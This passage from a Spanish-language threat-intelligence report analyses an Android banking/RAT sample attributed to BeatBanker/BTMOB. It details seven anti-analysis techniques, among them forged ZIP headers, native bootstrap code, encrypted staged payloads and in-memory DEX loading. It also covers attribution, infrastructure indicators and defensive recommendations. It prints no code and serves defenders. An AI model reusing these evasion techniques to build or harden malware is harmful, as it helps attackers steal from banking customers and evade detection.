La muestra está diseñada para resistir el análisis en todas las capas a las que un analista recurre de forma natural en primer lugar. Se recuperaron siete técnicas de la muestra. Individualmente cada una es modesta; en conjunto representan una postura de defensa en profundidad que eleva de forma material el coste del análisis.

Metadatos ZIP falsificados

El APK exterior no es un archivo ZIP válido según la letra de la especificación. Tanto resources.arsc como AndroidManifest.xml tienen sus encabezados de archivo locales marcados como cifrados, usan métodos de compresión indefinidos (0x598F y 0x8DCF respectivamente; ninguno es un método ZIP estándar) y declaran un tamaño comprimido de cero, aunque los datos reales de cada entrada siguen al encabezado como bytes sin procesar.

Las herramientas estándar de Android son lo bastante estrictas en cuanto al cumplimiento de ZIP como para que estas entradas provoquen fallos de análisis o informes estructurales erróneos: apktool y aapt se niegan ambos a procesar correctamente el archivo. Es necesario inspeccionar manualmente el directorio central del ZIP y reescribir los encabezados mal formados antes de que el APK pueda tratarse con herramientas normales de análisis estático. El propio cargador en tiempo de ejecución de Android es lo bastante permisivo como para aceptar el archivo e instalar la aplicación con normalidad.

Arquitectura de arranque nativo

Los métodos críticos del ciclo de vida de la subclase Application inyectada en el APK exterior (attachBaseContext y onCreate) se declaran native y se implementan por completo en una biblioteca compartida ARM (libmetaspermousdevitrifiednoiseful.so). El mismo patrón se reutiliza en la subclase Application c6xmV4.java del auxiliar de la etapa 3, respaldada por liblixhokfsmav.so. JADX y cualquier otro descompilador de la capa Java que se enfrente a estas clases solo ve firmas de métodos vacías: ningún bytecode, ninguna lógica que analizar.

Cifrado de las cargas útiles por etapas

La carga útil real de cada etapa se almacena en el directorio assets/ de la etapa anterior como un blob cifrado de alta entropía, con nombres de archivo elegidos para parecer identificadores de recursos opacos y no tipos de archivo reconocibles. Se utilizan dos cifrados distintos: XOR repetitivo para los DEX de arranque y AES/CBC/PKCS5Padding con claves de 128 bits derivadas del nombre base del recurso mediante truncamiento de SHA-1 para los APK y archivos ZIP posteriores.

Carga de DEX en memoria

Los DEX de las cargas útiles descifradas nunca se escriben en las rutas de disco que un escáner supervisaría. En su lugar, el código de arranque modifica el cargador de clases: manipula de forma reflexiva el array dexElements del cargador de clases padre en niveles de API antiguos de Android, o invoca directamente makeInMemoryDexElements en la API 29 y superiores. Las cargas útiles por etapas se ejecutan como aplicaciones Android completas sin aparecer como APK instalados ni como archivos DEX en disco en ninguna ruta de almacenamiento estándar.

Ofuscación de cadenas por niveles

Se utilizan en paralelo dos envoltorios distintos de ofuscación de cadenas:

• rf0.a(): cifrado XOR repetitivo simple. Se usa para cadenas de gran volumen cuyo descifrado debe ser barato en tiempo de ejecución.
• s00.a(): AES/CBC/PKCS5Padding con una clave de 128 bits derivada mediante PBKDF2WithHmacSHA1 con 65,536 iteraciones. Reservado para cadenas operativamente sensibles: URL, nombres de comandos, patrones de paquetes objetivo.

La estratificación indica una defensa meditada: el autor reserva el costoso AES-PBKDF2 para las cadenas que más importan, mientras que gestiona el resto con un XOR barato.

Detección de emuladores

La clase de actividad principal czjjzmkujkl realiza la detección de emuladores en la línea 106 consultando tres métodos auxiliares de p0.java (p0.f0(), p0.m0() y p0.o0()), cada uno de los cuales comprueba Build.BRAND frente a una cadena de marca ofuscada para identificar huellas comunes de emuladores. El comportamiento al detectarlo no es un fallo abrupto ni una salida inmediata. En cambio, el resultado de la detección se utiliza para elegir entre dos blobs de configuración; cuando se detecta un emulador, la muestra continúa con el blob alternativo en lugar del normal.

Observaciones finales

Dos aspectos del diseño antianálisis de esta muestra son lo bastante específicos como para merecer ser destacados.

La falsificación del ZIP es quirúrgica. Solo dos entradas del APK exterior, resources.arsc y AndroidManifest.xml, llevan metadatos falsificados (métodos 0x598F y 0x8DCF). Todas las demás entradas son válidas. Este patrón quirúrgico de dos archivos es lo bastante distintivo como para resultar útil como indicador de familia en las muestras de BeatBanker / BTMOB.

La derivación de la clave AES es accesible para el analista. El DexLoader de la etapa 3 deriva su clave de 128 bits calculando SHA-1(basename_of_asset_path)[:16]. Como la clave se deriva del nombre del archivo y no de material secreto en la biblioteca nativa, cualquier analista que obtenga el recurso cifrado puede derivar la clave sin hacer ingeniería inversa del código nativo. Aquí el cifrado funciona como fricción frente a los escáneres, no como una barrera real frente a un análisis decidido.

Atribución: BeatBanker / BTMOB

Antecedentes del grupo

BeatBanker y BTMOB son familias de malware para Android distintas pero relacionadas, documentadas en varias fuentes independientes de investigación de amenazas. BeatBanker, documentado por Securelist de Kaspersky y resumido por BleepingComputer, es una plataforma de banker/minero para Android por etapas que se entrega mediante aplicaciones de utilidad troyanizadas. BTMOB es una familia de RAT, documentada de forma independiente por Cyble como una evolución de SpySolr, que las muestras recientes de BeatBanker despliegan en lugar de un módulo bancario anterior.

Fuentes públicas: - Securelist (Kaspersky): BeatBanker miner and banker — https://securelist.com/beatbanker-miner-and-banker/119121/ - BleepingComputer: New BeatBanker Android malware poses as Starlink app to hijack devices — https://www.bleepingcomputer.com/news/security/new-beatbanker-android-malware-poses-as-starlink-app-to-hijack-devices/ - Cyble: BTMOB RAT: Newly discovered Android malware — https://cyble.com/blog/btmob-rat-newly-discovered-android-malware/

Entre las características distintivas del grupo BeatBanker figuran la entrega de APK por etapas mediante aplicaciones de utilidad troyanizadas, las cadenas de arranque en código nativo, la señalización de comandos y activación basada en Firebase, el abuso del servicio de accesibilidad en las cargas útiles posteriores y el despliegue paralelo de un criptominero como canal de monetización secundario.

Indicadores de infraestructura

La familia de dominios fud2026.* es el ancla de atribución individual más sólida: aparece en varias posiciones de esta muestra (descargador, pool, proxy del pool) y es un indicador citado en los informes públicos sobre el grupo BeatBanker.

Coherencia de comportamiento

Los patrones arquitectónicos y operativos de la muestra coinciden con las características de BeatBanker / BTMOB documentadas públicamente en todas las dimensiones principales:

• Entrega de APK por etapas mediante una aplicación de utilidad troyanizada (etapa 1, LumoLight).
• Arranque en código nativo que intercepta attachBaseContext y onCreate en varias etapas (etapas 1 y 3).
• Firebase Cloud Messaging como canal de activación y asignación de tareas (etapa 2).
• Flujos de señuelo de falsa configuración, VPN y habilitación de accesibilidad como medio principal para obtener la escalada de privilegios (etapa 4).
• Despliegue paralelo de un criptominero como canal de monetización secundario (etapa 3).

Cada uno de ellos está documentado individualmente en los informes públicos sobre el grupo BeatBanker. La presencia de los cinco en la misma muestra, y en la misma secuencia y relación arquitectónica, es en sí misma un indicador de pertenencia a la familia, con independencia del solapamiento de infraestructura.

Conclusión

TV_V_23.apk no es una aplicación independiente: es un componente de una operación sostenida y profesionalmente diseñada de un actor de amenazas, construida para sobrevivir a largo plazo en los dispositivos infectados.

El patrón arquitectónico es el identificador. Los nombres de paquete, las claves, los endpoints de C2 y el HTML de los señuelos pueden rotarse sin reescribir la plataforma. Lo que no rota con facilidad es la arquitectura: capa exterior de utilidad troyanizada, arranque nativo con cargas útiles por etapas cifradas, activación basada en Firebase, operador de APK dividido con selección de objetivos mediante accesibilidad, monetización paralela con minero, ofuscación de cadenas por niveles, C2 configurable en tiempo de ejecución. La ingeniería de detección debe apuntar a la arquitectura, no a los artefactos.

La superficie de amenaza es de comportamiento, no técnica. No se explotó ninguna vulnerabilidad. Todas las capacidades se obtienen mediante permisos que la víctima concedió en un dispositivo sin modificar. Los parches y el endurecimiento del sistema operativo no son las contramedidas pertinentes; lo son la detección del uso indebido de la accesibilidad basada en el comportamiento, la atestación de integridad del dispositivo en el inicio de sesión de la aplicación bancaria, la detección de anomalías en los patrones de interacción en las transacciones y una concienciación de los clientes calibrada según el modus operandi de esta familia.

La amenaza volverá. BeatBanker / BTMOB muestra continuidad entre muestras y generaciones de infraestructura. La ausencia de selección de objetivos codificada de forma rígida es el mecanismo por el que los operadores pueden cambiar de objetivo a cualquier institución en cualquier momento. Es poco probable que los clientes afectados en el incidente notificado sean los últimos. Tratar esta respuesta como una corrección puntual en lugar de como el primer paso de un compromiso sostenido sería un error de planificación.

Las fortalezas del malware son estructurales; las del defensor también deben serlo. Las defensas puntuales perderán valor a medida que la campaña madure.